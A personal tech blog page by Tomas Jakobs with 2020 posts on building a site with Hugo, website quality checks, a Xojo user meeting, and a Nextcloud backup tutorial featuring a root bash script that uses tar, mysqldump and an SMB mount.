https://www.golem.de/news/bundesnetzagentur-nutzung-von-deauthern-ist-nicht-zulaessig-2001-145911.html ↩︎
https://en.wikipedia.org/wiki/Man-in-the-middle_attack ↩︎
https://insider.razer.com/index.php?threads/every-time-i-start-cortex-it-asks-for-admin-permissions.54669/ ↩︎
https://de.wikipedia.org/wiki/Rechteausweitung ↩︎
https://www.youtube.com/watch?v=saF9epFwzPE ↩︎
https://adsecurity.org/?p=4367 ↩︎
https://github.com/gentilkiwi/mimikatz ↩︎
🚫 https://www.christophertruncer.com/golden-ticket-generation/ ↩︎
https://www.youtube.com/watch?v=d796zw4Vzqw ↩︎
https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/ ↩︎
https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh ↩︎
https://docs.microsoft.com/de-de/windows/security/threat-protection/windows-defender-application-control/applocker/using-software-restriction-policies-and-applocker-policies ↩︎
https://de.wikipedia.org/wiki/Faradayscher_K%C3%A4fig ↩︎
https://www.ipfire.org/ ↩︎
https://wiki.ipfire.org/configuration/firewall/ips ↩︎

Hugo as Web-Developing Platform

Tomas Jakobs — Tue, 18 Aug 2020 18:30:46 +0200

At the beginning of the (first?) Corona lockdown in March 2020, I was advised during an nightly Jitsi meeting by a befriended admin from Hamburg about giving Hugo a chance. Probably just after I dropped a rant about Rapidweaver, my previous static site generator on the Mac.

Making of blog.jakobs.systems

The idea needed to grow for almost half a year, till August, when I finally found a test balloon for Hugo: My personal blog and if everything succeeds, my official website, which is slowly getting rusty.

Though I wouldn’t call myself a Hugo expert (yet), here comes a first insight, a making of and some of my considerations and challenges I had during the development in the recent days.

What’s Hugo?

Hugo is a Static Site Generator. In other words, all contents of a website are created locally on a development machine and then uploaded to a web server.

This makes it fundamentally different from the numerous online-based content management systems. Generally speaking, content management systems are regarded as a more advanced development and are used today by practically every advertising agency and companies for implementing websites. I find it quite difficult to follow this narrative. In many cases there is no way to talk of further progress. Especially when content management systems are often “misused” as a business application for something they were never created for.

First let’s look at the advantages and disadvantages of static site generators in general, Hugo in specific and my personal requirements regarding a website:

Advantages:

Hugo is free software with an active developer community.
It is available on all platforms (Linux, Mac, Windows)
Hugo creates Internet sites that can be operated server and technology independently throughout the Internet. No matter whether locally in your own network or on an arbitrary web server. Even the usual shared- or mass hosting systems are quite capable.
Maximum security is achieved by eliminating server-side generated pages and most importantly by reducing complexity on the operational web servers.
This also results in higher availability and better scalability, especially for critical or massive and simultaneous requested content.
Content can be maintained offline. An Internet connection is only required to transfer the updates. This is interesting for those who cannot be online permanently or who intentionally do not want to be (e.g. critical company departments), travelling employees with unstable mobile phone connections, and others.
Flexibility with the script language Go and the possibility to modularize a website into partials, bundles, templates and themes.
By using tags, the content can be catalogued and queried with Go. Hugo names such catalogues Taxonomies and allows the development of comprehensive archives of knowledge and databases of unstructured data.
Content can be created in the form of text files (markdown) by editors without programming knowledge. Numerous markdown editors for any platform allow undisturbed editing.
The interoperability of content (text files) and other assets (images, downloads) is provided by Hugo. There is no need to import or export content in a time-consuming and costly manner.
Regarding [internationalisation](https://de.wikipedia.org/wiki/Internationalisierung_(software development)) i18n language files from translation platforms such as Weblate can be easily integrated and referenced within the code.
Complete freedom to design a workflow or process by yourself. Editorial content can, for example, come from a repository across a network and automatically be published on a website at predefined intervals, e.g. hourly or daily.
In combination with git as a version management system, large and comprehensive internet websites can be managed quite transparently. This is often one of the problems with many online content management systems.

Disadvantages:

The freedom to realize your own business processes is also a drawback. Many companies neither are able or willing to implement such a process and are quite happy to externalize the creation of a website in parts or as a whole.
There is no graphical frontend or a development tool comparable to the look and feel of other generators including Rapidweaver .
The learning curve at the beginning is steeper and a working environment has to be established on site, which is mostly not the case if you have an online content management system.

Actually I can’t name any more disadvantages. Have I forgotten any? Please give me feedback via email.

My requirements for a blog/ website:

no server-side scripts (e.g. PHP).
no client-side scripting (e.g. Javascripts)
no resources from third parties.
a sustainable, technological foundation (free software).
content must be separated from the design.
automated build and update process.
and last but not least: A minimalist, elegant and timeless design.

How this website was developed

As far as the design is concerned, I have chosen a appropriate theme from the theme gallery as a basis for further customization.

From a purely visual perspective I liked “Kiss Em” by Pavel Pi from the very first moment. He developed it as fork of the “Kiss” theme, which again is based on the theme “Hemingway”. I was not aware of the implications that resulted from this forking.

The installation of Hugo is straightforward. The first website with the theme created in a few lines and the config.toml quickly adapted. The tutorial by Thomas Leistner ¹ has been very helpful to get started.

I used GNOME Builder as project and markdown editor.

The disappointment occurred with the sight of the first online tests and the requirement to get into theme customization much sooner than expected. In addition to the reported issues, there were of course colour adjustments and included webfonts as well as adjusted tap spacings of the navigation controls.

This is where it seemed a bit of a mistake to have chosen a three times fork as theme for the first steps. The search for the appropriate CSS style sheets was very time-consuming, as it was necessary to find the way through the numerous unused and yet inherited styles.

Also the partials had to be tackled. When I tried to add an English version to the already completed German language version, I noticed that it was constantly jumping back to the German version. The Hugo concepts and necessary Go statements haven’t been implemented in the theme. So I spent half of a day (with the typical interruptions) working on the English branch.

Conclusion

These experiences should not reduce the overall impression of Hugo. I look back to a couple of wonderful and productive days. Finally I have a modern blog now.

I especially like the possibility to use Go to perform previously complicated tasks quite smoothly. Here’s an example for Pipes:


{{ $style := resources.Get "css/main.css" | resources.Minify | resources.Fingerprint }}
<link rel="stylesheet" href="{{ $style.Permalink }}">

With Rapidweaver this required manually digging through the CSS with the yui-compressor after each build and creating the fingerprints of your own from the console.

A migration tool for Rapidweaver seems not to exist, but there are a lot of tools for other content management systems².

Hugo as a static site generator is very powerful and can accomplish a job. And yes, I will use it for my official company website soon.

However, before that happens, I want to see my deployment workflow fully automated.

Yours,
Tomas Jakobs

Measuring website quality

Tomas Jakobs — Sun, 16 Aug 2020 00:34:01 +0200

WebsitesSEOConceptsBlog

After some finetuning of this blog it is time for a break and to check the current state objectively.
Yes, quality is measurable - these online tests give you a quick overview where you stand:

The results are quite impressive. Everything’s shipshape.

Postscriptum from October, 18th 2020:

I’ve added Hardennize and DNSViz to the list. Hardenize offers wonderful birs-eye view for Web+Email, DNSViz due to the fact that its checking the DNS.

Xojo User Meeting 2020.08.21, 1800 CET

Tomas Jakobs — Thu, 13 Aug 2020 11:25:10 +0200

WebinarXOJOMeeting

A new XOJO User Meeting (in german) is scheduled for August, 8th 2020 at 1800 CET.

Topics

Markus introduces his XOJO App.

Tomas shows us how to work with your own gitea server.

Duration: 45 Min.
Followed by small talk and hangout with open end.

Link to the conference room: https://meet.jakobs.systems/b/tom-z9u-zwq

Anyone interested is welcome and can participate.

See you!

New Blog started

Tomas Jakobs — Thu, 13 Aug 2020 11:25:10 +0200

NewsBlogWebsites

You’re damn late!

This was the initial response of a friend while showing him a previev.

But finally, here we are. This is a blog round about my work and all the things I am taking care of. Everything is work in progress and this website is kind of Playground seperated from the formal official website.

As you might have expected: No 3rd party ressources, no data collection or transfer to 3rd parties. This website is built and operated with free software only (Builder, Hugo, Gitea, Debian, Apache and damn I am so proud of!

Structured into micro-blog for short, daily interjections, which may of course include my sarcastic, unreflective, personal opinion, and the longer, more technically substantiated blogs. Please consider the fact that my main language is German and only a subset of items is translated into English.

I hope you enjoy it! Of course, with one discreet remark: I am a professional consultant and am looking forward to interesting projects, talks or contracts. So don’t hesitate to contact me.

Your,
Tomas Jakobs

Nextcloud Backup with tar

Tomas Jakobs — Wed, 12 Aug 2020 22:44:51 +0200

Installing a Nextcloud instance is a snap. There are numerous tutorials and, on better NAS systems or hosting providers, even ready-to-use appliances that can be easily clicked together. When it comes to data backup, my observation is that the sources are rather limited and I would rather not use the few manuals that are available on the net.

This blog post wants to help increase data protection with an automated, daily and complete backup for your Nextcloud. It is aimed at private users. The focus should not just rest on the script, but rather on the thoughts and considerations around it.

Pre-considerations

There are numerous backup solutions, starting with bare-metal backups of entire servers or partitions, tar, rsync or borg for complete or incremental data backups, up to 7zip for encrypted transfer of data to third parties. This are only a few free solutions. And I don’t even want to mention the many non-free ones like Acronis, Veeam & Co.

Why tar?

My ideal solution of a backup strategy is not just one, but several coordinated tools. For the requirements and data volumes in my Nextcloud instance I have chosen GNU tar.¹

The benefits:

It’s free software.
Easy handling and integration within scripts.
Highly compatible with virtually all unixoid systems (POSIX standard).
Proven stability and reliability for decades, essential for long-term archiving.
Directory structures, permissions and ownerships are stored in a handy backup file (“tarball”).
Backup files can be easily copied to external media or between computers on an ad hoc basis.
It does not require background services, extra users or even a full blown backup infrastructure consisting of repositories, index databases, media management systems or fancy web interfaces (KISS principle).²

Technical requirements

The backup destination is a SMB share on another computer, in my case a FreeNAS. The script assumes that this share is directly accessible. In case you run your Nextcloud in separate network segments, you have to set up this direct connection possibility in firewall and/or routing tables.

Everything is also written from the perspective of Debian. When applying to various derivatives, please keep this in mind. The script is started and afterwards executed by cronjob under the user root. A sudo does not exist by default on a freshly installed Debian server and should therefore be installed alongside with cifs-utls:

# apt install cifs-utils sudo

Furthermore, I assume a working mail server that can send status messages with “sendmail”. To check if this is set up properly use the following one-liner. If everything works, an empty e-mail should end up in your mailbox:

# sendmail "email@domain.tld" < /dev/null

Moreover, I assume that the mySQL/MariaDB database and the Nextcloud /data directory are on the same host. As far as it concerns the /data directory, please also read the section under “Optimizations”.

Data Quantity & Duration

Most of my data is stored on a FreeNAS and is mounted as “external storage”. This keeps the Nextcloud quite lightweight. In my example we are talking about " just" 31 GB of data to be backed up, which takes about 30 minutes. An acceptable downtime of the Nextcloud, which is put into maintenance mode during full backup and is not usable during this time.

Push vs. Pull

From a bird’s eye view, there are basically two strategies for data backups: Push and pull backups.

With a Push-Backup³ the backed up host connects to a generally central backup server and copies his data over there. The opposite case is called Pull-Backup.⁴ In this case, a central backup server connects to the host to be backed up and pulls the data according to a predefined logic.

Viewed at first glance, a pull backup seems more secure. In practice, the situation is a little bit more complicated. Here are some arguments speaking against a pull-backup strategy:

An additional backup account with sudo rights must be created on the host being backed up - on each of potentially multiple hosts in a company or entity. But what are admins doing on a predictable regular basis? They create universally valid accounts with unified passwords on all hosts, effectively a “multipass” for any hacker.
Remote access must be provided for such backup accounts in addition to administrative access via SSH, VPN or SMB shares.
Since every initiative comes from the backup server, it must also provide all the logic and take all eventualities into account. It’s fun when a host in the middle of an important task requiring every core and every byte of I/O is interrupted by a backup server.
A centrally stored logic usually scales less well eand must cope with exemptions and individual adjustments when multiple servers are used. Small scripts can become very complex. No admin wants to see in this critical space.
Only a few applications allow themselves to be backed up while in operation “live”. Downtimes are also expensive and should be avoided at all cost. Therefore, many servers keep a backup of their data until a backup server finally shows mercy and picks it up. In the meantime, these backups offer an ideal window of opportunity to grab or manipulate data that previously did not exist in live operation and will never again exist in the backup.

As usual, it is a trade-off between advantages and disadvantages, and also based on existing circumstances.

The script shown here works with the push strategy, i.e. the Nextcloud mounts a SMB share, copies the data and then unmounts it again.

The encryption thing

Except the fact that tar does not offer encryption, it is not desirable to use encryption in our scenario due to other reasons:

Encrypted backups increase complexity and create additional problems that you don’t want to deal with in long-term backups. For example, expired or forgotten keys, or containers with dependencies that have become obsolete over the years, could prevent people from accessing their backups.
We operate entirely within a controlled and protected environment.
It is futile to encrypt individual backup files if this is already done on an underlying level through a file system. In my case, it is the FreeNAS RAID with ZFS and enabled disk encryption.

Data should only be encrypted, preferably only where there is a transfer or shipment from your own secure environment to an insecure one (e.g. when backups are stored on hard disks at third-party).

Practice

Preparations

The credentials required to mount the SMB network share should be stored in a text file in the root home directory. Unreachable for other users. The name of this file can be chosen freely, so we will name this “.smbcredentials”. The content consists of three text lines only, in which the credentials have to be entered:

username=
password=
domain=

With mysqldump we will also make a full backup of the Nextcloud database and need also the credentials for this. Hence, we need to store the access data in the file “.my.cnf” in the root home directory as well. This filename is predefined and must be copied exactly as it is.

[mysqldump]
user=
password=

In order to mount the SMB network drive, a suitable folder is required. The script expects this below /root. There you simply create a subfolder called “backup”.

# mkdir /root/backup

Once the credentials are stored, the script can be started.

The Script

Using a text editor of your choice, a text file named “backupscript” is created in the root home directory and the following content is inserted in it.

The script consists of two parts. In the first one all required parameters are set and must be customized to the individual use case.

The second part contains the main script. You should not change it until you know what you’re doing. For better understanding I have commented each line.

Two important leads: At the end of the script there is a cleanup of any created temporary files. Anyone who needs the logfile can take it out here.

There is also no check of the available disk space on the target drive. I assume that this will be checked and cleaned from time to time.

#!/bin/bash

# Datum Praefix vor den Dateinamen YYYYMMDD
DATE_PREFIX=$(date +%Y%m%d)

# SMB-Netzwerklaufwerk
SMB_DIR="//remotehost/share"

# Mountingpoint vom SMB Netzwerklaufwerkes
MOUNT_DIR="/root/backup"

# SMB Credentials Datei für die SMB Zugangsdaten
SMB_CRED_FILE="/root/.smbcredentials"

# Das Nextcloud Verzeichnis
NEXTCLOUD_DIR="/var/www/cloud.domain.tld"

# Der Datenbankname
NEXTCLOUD_DB=nextcloud

# Name und Ablageort der Statusdatei YYYYMMDD-backuplog.txt
THE_LOG="/root/$DATE_PREFIX-backuplog.txt"

# Name und Ablageort des Datenbank Dumps
THE_DUMP="/root/$DATE_PREFIX-cloud-DB.sql"

# Empfänger der Statusdatei
SEND_REP="email@domain.tld"

# Exclude Dateien oder Ordner
EXCLUDE_PATTERN="--exclude='$NEXTCLOUD_DIR/data/updater*' --exclude='$NEXTCLOUD_DIR/data/*.log'"

# -- Bitte ab hier nichts mehr manuell anpassen --

# Erstellen der Statusdatei und Hinterlegung der Startzeit
echo "Beginne Backup (Startzeit: $(date +%T))..." > $THE_LOG

# SMB Laufwerk mounten
mount -t cifs -o credentials=$SMB_CRED_FILE $SMB_DIR $MOUNT_DIR

# Wartungsmodus der Nextcluod aktivieren
sudo -u www-data php $NEXTCLOUD_DIR/occ maintenance:mode --on

# Erstellen mysql Dump
mysqldump $NEXTCLOUD_DB > $THE_DUMP

# Alles in das Zielverzeichnis mit tar sichern
tar $EXCLUDE_PATTERN -cvpf "$MOUNT_DIR/$DATE_PREFIX-cloud.tar" $NEXTCLOUD_DIR $THE_DUMP

# Wartungsmodus deaktivieren
sudo -u www-data php $NEXTCLOUD_DIR/occ maintenance:mode --off

# Zielverzeichnis prüfen, Stopzeit festhalten
echo "...Backup beendet (Stopzeit: $(date +%T))" >> $THE_LOG
ls -lh $MOUNT_DIR >> $THE_LOG

# Statusdatei senden
sendmail $SEND_REP < $THE_LOG

# Garbagge Collection
rm $THE_LOG $THE_DUMP &
umount $MOUNT_DIR

Once the file is created, it must be made executable:

# chmod +x /root/backupscript

That’s it! The script can now be started manually or automated e.g. with crontab at night or during weekends. The only requirement: It must be run in root context.

Optimizations

Depending on the number of users and the amount of data, a backup may take its time. Since the script intentionally makes complete backups, it contains some small but nice optimizations:

Skip Files

The first optimization option is to skip the usually very large log files. The updater directory with the backups of previous versions can also be left out. For this reason the EXCLUDE_PATTERN line exists:

EXCLUDE_PATTERN="--exclude='$NEXTCLOUD_DATA_DIR/updater*' --exclude='$NEXTCLOUD_DATA_DIR/*.log'"

Cleanup Trashbin

Another boost is the trashbin cleanup prior the backup. I did not include it in the script. But if you want to, you may add the following line between switching the maintenance mode on and creating the database dump:

sudo -u www-data php $NEXTCLOUD_DIR/occ trashbin:cleanup --all-users

Backup Time vs. Disk Space

The script backs up without compression to keep the downtime as small as possible. If you don’t care about this and if you prefer small, compressed tarballs, you can activate the -j option (for bzip2) and of course add the file extension:

tar $EXCLUDE_PATTERN -cvjpf "$MOUNT_DIR/$DATE_PREFIX-cloud.tar.bz2" $NEXTCLOUD_DIR $THE_DUMP

In my case compression is not economical, since the benefit is only 5% (2 GB) of additional disk space but at the cost of 4x longer downtime (2h instead of 30 min). Your mileage may vary and of course there are other compression methods besides bzip with different compression ratios.

Where’s the /data folder?

The biggest benefit gains, not only in terms of security but also in terms of performance, is achieved by the correct location of the /data directory. This should be outside the Nextcloud folder if possible. Ideally on a different hard disk.

The script assumes the Nextcloud installation defaults without a relocated /data directory. If you have put it somewhere else, then you should add an additional variable NEXTCLOUD_DATA_DIR:

# Das Nextcloud /data Verzeichnis
NEXTCLOUD_DATA_DIR="/var/data"

The exception list must be modified too:

# Exclude Dateien oder Ordner
EXCLUDE_PATTERN="--exclude='$NEXTCLOUD_DATA_DIR/updater*' --exclude='$NEXTCLOUD_DATA_DIR/*.log'"

Finally, the line with the main tar command should look like this:

# Alles in das Zielverzeichnis mit tar sichern
tar $EXCLUDE_PATTERN -cvpf "$MOUNT_DIR/$DATE_PREFIX-cloud.tar" "$NEXTCLOUD_DIR" "$NEXTCLOUD_DATA_DIR" $THE_DUMP

Parallelization

What’s the difference between

mysqldump $NEXTCLOUD_DB > $THE_DUMP

and

mysqldump $NEXTCLOUD_DB > $THE_DUMP &

Well normally, instructions in bash scripts are processed sequentially. The ampersand “&” at the end of the line means that the command is processed in the background and thus parallel to the next line(s) in the script. Depending on the size of the database, you may save a few minutes of runtime.

But this can be done when it’s sure that the backup time of the database dump is finihed before tar tries to put it into the tarball. Under normal circumstances this should be the case, but I recommend to check this out in advance.

No backup = no mercy

There is no mercy nor excuse for a lack of responsibility. Especially not if you share a Nextcloud with others. Even when talking about a private “family cloud”, it usually represents an important part of personal life, with all the pictures, conversations and shared data pool ranging from important documents to shared memories.

This blog post proves: A complete and automated backup is no magic.

Yours,
Tomas Jakobs